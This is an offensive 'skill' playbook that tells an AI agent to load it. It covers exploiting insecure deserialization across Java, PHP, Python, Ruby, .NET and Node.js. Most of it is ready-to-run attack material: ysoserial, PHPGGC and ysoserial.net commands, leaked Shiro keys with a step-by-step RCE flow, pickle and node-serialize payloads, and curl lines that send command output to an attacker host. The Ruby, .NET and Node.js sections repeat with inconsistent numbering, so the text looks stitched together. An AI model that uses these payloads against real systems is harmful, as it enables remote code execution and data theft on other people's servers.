SKILL: Insecure Deserialization — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
0. RELATED ROUTING
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson
@typepayload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
Advanced Reference
Also load JAVA_GADGET_CHAINS.md when you need:
- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
- Detection fingerprints: magic bytes table by format (Java
AC ED, .NETAAEAAD, Python pickle80 0N, PHPO:, Ruby04 08)
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
Java Serialized Objects
| Indicator | Where to Look |
|---|---|
Hex ac ed 00 05 | Raw binary in request/response body, cookies, POST params |
Base64 rO0AB | Cookies (rememberMe), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object | HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
PHP Serialized Objects
| Indicator | Where to Look |
|---|---|
O:NUMBER:"ClassName" pattern | POST body, cookies, session files |
a:NUMBER:{ (array) | Same locations |
phar:// URI usage | File operations accepting user-controlled paths |
Python Pickle
| Indicator | Where to Look |
|---|---|
Hex 80 03 or 80 04 (protocol 3/4) | Binary data in requests, message queues |
| Base64-encoded binary blob | API params, cookies, Redis values |
pickle.loads / pickle.load in source | Code review / whitebox |
2. JAVA — GADGET CHAINS AND TOOLS
ysoserial — Primary Tool
bash# Generate payload (example: CommonsCollections1 chain with command) java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin # Base64-encode for HTTP transport java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0 # Common chains to try (ordered by frequency of vulnerable dependency): # CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x # Spring1, Spring2 — Spring Framework # Groovy1 — Groovy # Hibernate1 — Hibernate # JBossInterceptors1 — JBoss # Jdk7u21 — JDK 7u21 (no extra dependency) # URLDNS — DNS-only confirmation (no RCE, works everywhere)
URLDNS — Safe Confirmation Probe
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
bashjava -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
Commons Collections — The Classic Chain
The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.
Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.
Apache Shiro — rememberMe Deserialization
Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.
textKnown hard-coded keys (SHIRO-550 / CVE-2016-4437): kPH+bIxk5D2deZiIxcaaaA== # most common default wGJlpLanyXlVB1LUUWolBg== # another common default in older versions 4AvVhmFLUs0KTA3Kprsdag== Z3VucwAAAAAAAAAAAAAAAA==
Attack flow:
- Detect: response sets
rememberMe=deleteMecookie on invalid session - Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
- AES-CBC encrypt with known key + random IV
- Base64-encode → set as
rememberMecookie value - Send request → server decrypts → deserializes → RCE
DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.
Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).
WebLogic Deserialization
Multiple vectors:
- T3 protocol (port 7001): direct serialized object injection
- XMLDecoder (CVE-2017-10271): XML-based deserialization via
/wls-wsat/CoordinatorPortType - IIOP protocol: alternative to T3
bash# T3 probe — check if T3 is exposed: nmap -sV -p 7001 TARGET # Look for: "T3" or "WebLogic" in service banner
Java RMI Registry
RMI Registry (port 1099) accepts serialized objects by design:
bash# ysoserial exploit module for RMI: java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id" # Requires: vulnerable library on target's classpath # Works on: JDK <= 8u111 without JEP 290 deserialization filter
JDK Version Constraints
| JDK Version | Impact |
|---|---|
| < 8u121 | RMI/LDAP remote class loading works |
| 8u121-8u190 | trustURLCodebase=false for RMI; LDAP still works |
| >= 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
3. PHP — unserialize AND PHAR
Magic Method Chain
PHP deserialization triggers magic methods in order:
__wakeup() → called immediately on unserialize() __destruct() → called when object is garbage-collected __toString() → called when object is used as string __call() → called for inaccessible methods
Attack: craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF).
Serialized Object Format
phpO:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";} // O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin Configuration Injection (Real-World Case)
phpMyAdmin PMA_Config class reads arbitrary files via source property:
textaction=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP Gadget Chain Generator
bash# List available chains: phpggc -l # Generate payload (example: Laravel RCE): phpggc Laravel/RCE1 system id # Common chains: # Laravel/RCE1-10 # Symfony/RCE1-4 # Guzzle/RCE1 # Monolog/RCE1-2 # WordPress/RCE1 # Slim/RCE1
Phar Deserialization
Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.
Triggering functions (partial list):
file_exists() file_get_contents() fopen() is_file() is_dir() copy() filesize() filetype() stat() include() require() getimagesize()
Attack flow:
- Upload a valid file (e.g., JPEG with phar polyglot)
- Trigger file operation:
file_exists("phar://uploads/avatar.jpg") - PHP deserializes phar metadata → gadget chain executes
bash# Generate phar with PHPGGC: phpggc -p phar -o exploit.phar Monolog/RCE1 system id
4. PYTHON — PICKLE
reduce Method
Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:
pythonimport pickle import os class Exploit: def __reduce__(self): return (os.system, ("id",)) payload = pickle.dumps(Exploit()) # Send payload to target that calls pickle.loads()
Analyzing Pickle Opcodes
pythonimport pickletools pickletools.dis(payload) # Shows opcodes: GLOBAL, REDUCE, etc. # Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Common Python Deserialization Sinks
pythonpickle.loads(user_data) pickle.load(file_handle) yaml.load(data) # PyYAML without Loader=SafeLoader jsonpickle.decode(data) shelve.open(path)
Defensive Bypass: RestrictedUnpickler
Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:
pythonclass RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == "builtins" and name in safe_builtins: return getattr(builtins, name) raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
If safe_builtins includes eval, exec, or __import__ → still exploitable.
5. DETECTION METHODOLOGY
Found binary blob or encoded object in request/cookie? ├── Java signature (ac ed / rO0AB)? │ ├── Use URLDNS probe for safe confirmation │ ├── Identify libraries (error messages, known product) │ └── Try ysoserial chains matching identified libraries │ ├── PHP signature (O:N:"...)? │ ├── Identify framework (Laravel, Symfony, WordPress) │ ├── Try PHPGGC chains for that framework │ └── Check for phar:// wrapper in file operations │ ├── Python (opaque binary, base64 blob)? │ ├── Try pickle payload with DNS callback │ └── Check if PyYAML unsafe load is used │ └── Not sure? ├── Try URLDNS payload (Java) — check DNS ├── Try PHP serialized test string └── Monitor error messages for class loading failures
6. DEFENSE AWARENESS
| Language | Mitigation |
|---|---|
| Java | JEP 290 deserialization filters; whitelist allowed classes; avoid ObjectInputStream on untrusted data; use JSON/Protobuf instead |
| PHP | Avoid unserialize() on user input; use json_decode() instead; block phar:// in file operations |
| Python | Use pickle only for trusted data; use json for external input; PyYAML: always use yaml.safe_load() |
7. QUICK REFERENCE — KEY PAYLOADS
text# Java — URLDNS confirmation java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net" # Java — RCE via CommonsCollections java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" # PHP — Laravel RCE phpggc Laravel/RCE1 system "id" # PHP — Phar polyglot phpggc -p phar -o exploit.phar Monolog/RCE1 system "id" # Python — Pickle RCE python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())" # Shiro default key test rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
8. RUBY DESERIALIZATION
Ruby Marshal
Marshal.loadon untrusted data → RCE- Fingerprint: binary data, no common text header
- Gadget chains exist for various Ruby versions
- Docker verification: hex payload via
[hex_string].pack("H*")
Ruby YAML (YAML.load)
YAML.load(notYAML.safe_load) executes arbitrary Ruby objects- Pre Ruby 2.7.2:
Gem::Requirementchain →git_set: id/git_set: sleep 600 - Ruby 2.x-3.x:
Gem::Installer→TarReader→Kernel#systemchain (longer, multi-step) - Always test:
YAML.load("--- !ruby/object:Gem::Installer\ni: x")for class instantiation check - Payload template:
yaml--- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList type: :runtime specs: - !ruby/object:Gem::StubSpecification loaded_from: "|id"
- Note:
YAML.safe_loadis safe (Ruby 2.1+);Psych.safe_loadalso safe
9. .NET DESERIALIZATION
-
Traffic fingerprint:
- BinaryFormatter: hex
AAEAAD(base64AAEAAAD/////) - ViewState: hex
FF01or/wprefix - JSON.NET:
$typeproperty in JSON
- BinaryFormatter: hex
-
BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
-
XmlSerializer:
ObjectDataProvider+XamlReaderchain for command executionxml<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider"> <od:MethodName>Start</od:MethodName> <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters> <od:ObjectInstance xsi:type="System.Diagnostics.Process"/> </root> -
NetDataContractSerializer: similar to BinaryFormatter, full type info in XML
-
LosFormatter: used in ViewState, deserializes to
ObjectStateFormatter -
JSON.NET:
$typeproperty enables type control →ObjectDataProvider+ExpandedWrapperchainsjson{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}} -
Tool:
ysoserial.net— generate payloads for all .NET formatterstextysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64 ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -
POP gadgets:
ObjectDataProvider,ExpandedWrapper,AssemblyInstaller.set_Path
10. NODE.JS DESERIALIZATION
-
node-serialize:
unserialize()with IIFE (Immediately Invoked Function Expression)- Payload marker:
_$$ND_FUNC$$_ - Add
()at end to auto-execute:
json{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"} - Payload marker:
-
funcster:
__js_functionproperty →constructor.constructorto accessprocessjson{"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"} -
cryo: similar to funcster, serializes JS objects with function support
RUBY DESERIALIZATION
Marshal (Binary Format)
ruby# Ruby's Marshal.load is equivalent to Java's ObjectInputStream # Any class with marshal_dump/marshal_load can be a gadget # Detection: binary data starting with \x04\x08 # Or hex: 0408 # PoC gadget (requires vulnerable class in scope): payload = "\x04\x08..." # hex-encoded gadget chain Marshal.load(payload) # triggers arbitrary code execution
YAML.load (Critical — Most Common Ruby Deser Sink)
ruby# YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects # Ruby <= 2.7.2 — Gem::Requirement chain: # Triggers via !ruby/object constructor --- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList specs: - !ruby/object:Gem::Source current_fetch_uri: !ruby/object:URI::Generic path: "| id" # Ruby 2.x–3.x — Gem::Installer chain: # Uses Gem::Installer → Gem::StubSpecification → Kernel#system --- !ruby/hash:Gem::Installer i: x !ruby/hash:Gem::SpecFetcher i: y !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id # <-- command to execute method_id: :resolve # Safe alternative: YAML.safe_load (whitelist of allowed types)
Tools
elttam/ruby-deserialization— Ruby gadget chain generatorfrohoff/ysoserialinspiration → check Ruby-specific forks
.NET DESERIALIZATION
Traffic Fingerprinting
| Indicator | Serializer |
|---|---|
Hex 00 01 00 00 00 / Base64 AAEAAD | BinaryFormatter |
Hex FF 01 / Base64 /w | DataContractSerializer |
ViewState starts with __VIEWSTATE | LosFormatter / ObjectStateFormatter |
JSON with $type property | JSON.NET (Newtonsoft) TypeNameHandling |
XML with <ObjectDataProvider> | XmlSerializer / NetDataContractSerializer |
BinaryFormatter / LosFormatter
# Most dangerous — arbitrary type instantiation # Tool: ysoserial.net ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64 ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64 # LosFormatter wraps BinaryFormatter — same gadgets work ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
XmlSerializer + ObjectDataProvider
xml<root> <ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"> <ObjectDataProvider.MethodParameters> <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String> <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String> </ObjectDataProvider.MethodParameters> <ObjectDataProvider.ObjectInstance> <ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System"> <ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName> <ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments> </ProcessStartInfo> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider> </root>
JSON.NET with TypeNameHandling
json{ "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", "MethodName": "Start", "MethodParameters": { "$type": "System.Collections.ArrayList, mscorlib", "$values": ["cmd.exe", "/c whoami"] }, "ObjectInstance": { "$type": "System.Diagnostics.Process, System" } }
Vulnerable when TypeNameHandling is set to Auto, Objects, Arrays, or All.
Tools
pwntester/ysoserial.net— primary .NET deserialization payload generator- Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile
NODE.JS DESERIALIZATION
node-serialize (IIFE Pattern)
javascript// node-serialize uses eval() internally // Payload uses _$$ND_FUNC$$_ marker + IIFE: var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}'; // The trailing () makes it an Immediately Invoked Function Expression // When unserialize() processes this, it executes the function // Full HTTP exploit (in cookie or body): {"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}
funcster
javascript// funcster deserializes functions via constructor.constructor pattern: {"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}
PHP create_function + Deserialization Combo
php// When a PHP class uses create_function in __destruct or __wakeup: // Serialize an object where: $a = "create_function"; $b = ";}system('id');/*"; // The lambda body becomes: function(){ ;}system('id');/* } // Closing the original function body and injecting a command // In serialized form, private properties need \0ClassName\0 prefix: O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}
11. RUBY DESERIALIZATION
Marshal
ruby# Ruby's native serialization. Dangerous when deserializing untrusted data. # Detection: Binary data starting with \x04\x08 # One-liner gadget verification (hex-encoded payload): payload = ["040802"].pack("H*") # Minimal Marshal header Marshal.load(payload)
YAML (CVE-rich surface)
ruby# YAML.load is DANGEROUS — equivalent to eval for Ruby objects # Safe alternative: YAML.safe_load # Ruby <= 2.7.2: Gem::Requirement chain --- !ruby/object:Gem::Requirement requirements: - !ruby/object:Gem::DependencyList specs: - !ruby/object:Gem::Source uri: "| id" # Ruby 2.x-3.x: Gem::Installer chain (more complex) # Triggers: git_set → Kernel#system --- !ruby/object:Gem::Installer i: x # (Full chain available in ysoserial-ruby / blind-ruby-deserialization) # Universal detection: supply YAML that triggers DNS callback --- !ruby/object:Gem::Fetcher uri: http://BURP_COLLAB/
Tools: elttam/ruby-deserialization, mbechler/ysoserial (Ruby variant)
12. .NET DESERIALIZATION
Fingerprinting
| Magic Bytes | Format |
|---|---|
AAEAAD (base64) / 00 01 00 00 00 (hex) | BinaryFormatter |
FF 01 or /w (base64) | ViewState (ObjectStateFormatter) |
< (XML opening) | XmlSerializer / DataContractSerializer |
JSON with $type key | JSON.NET (TypeNameHandling enabled) |
BinaryFormatter (most dangerous)
# Always dangerous when deserializing untrusted data # Tool: ysoserial.net ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64 ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
ViewState (ASP.NET)
# If __VIEWSTATE is not MAC-protected (enableViewStateMac=false): ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY" # Leak machineKey from web.config (via LFI/backup) → forge ViewState
XmlSerializer + ObjectDataProvider
xml<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ObjectDataProvider MethodName="Start"> <ObjectInstance xsi:type="Process"> <StartInfo> <FileName>cmd.exe</FileName> <Arguments>/c whoami</Arguments> </StartInfo> </ObjectInstance> </ObjectDataProvider> </root>
JSON.NET ($type abuse)
json{ "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", "MethodName": "Start", "ObjectInstance": { "$type": "System.Diagnostics.Process, System", "StartInfo": { "$type": "System.Diagnostics.ProcessStartInfo, System", "FileName": "cmd.exe", "Arguments": "/c whoami" } } }
Vulnerable when TypeNameHandling != None in JSON deserialization settings.
Tools
pwntester/ysoserial.net— primary .NET gadget chain generatorNotSoSecure/Blacklist3r— decrypt/forge ViewState with known machineKey
13. NODE.JS DESERIALIZATION
node-serialize (IIFE injection)
javascript// Vulnerable pattern: var serialize = require('node-serialize'); var obj = serialize.unserialize(userInput); // Payload: IIFE (Immediately Invoked Function Expression) // The _$$ND_FUNC$$_ prefix signals a serialized function {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"} // Key: the () at the end causes immediate execution upon deserialization
funcster
javascript// Vulnerable: funcster.deepDeserialize(userInput) // Payload uses __js_function to inject via constructor chain: {"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
PHP create_function + Deserialization Combo
php// When create_function is available and object is deserialized: // Payload creates lambda with injected code: $a = "create_function"; $b = ";}system('id');/*"; // The lambda body becomes: function anonymous() { ;}system('id');/* } // Effective: close original body, inject command, comment out rest // In serialized form (with private property \0ClassName\0): O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}

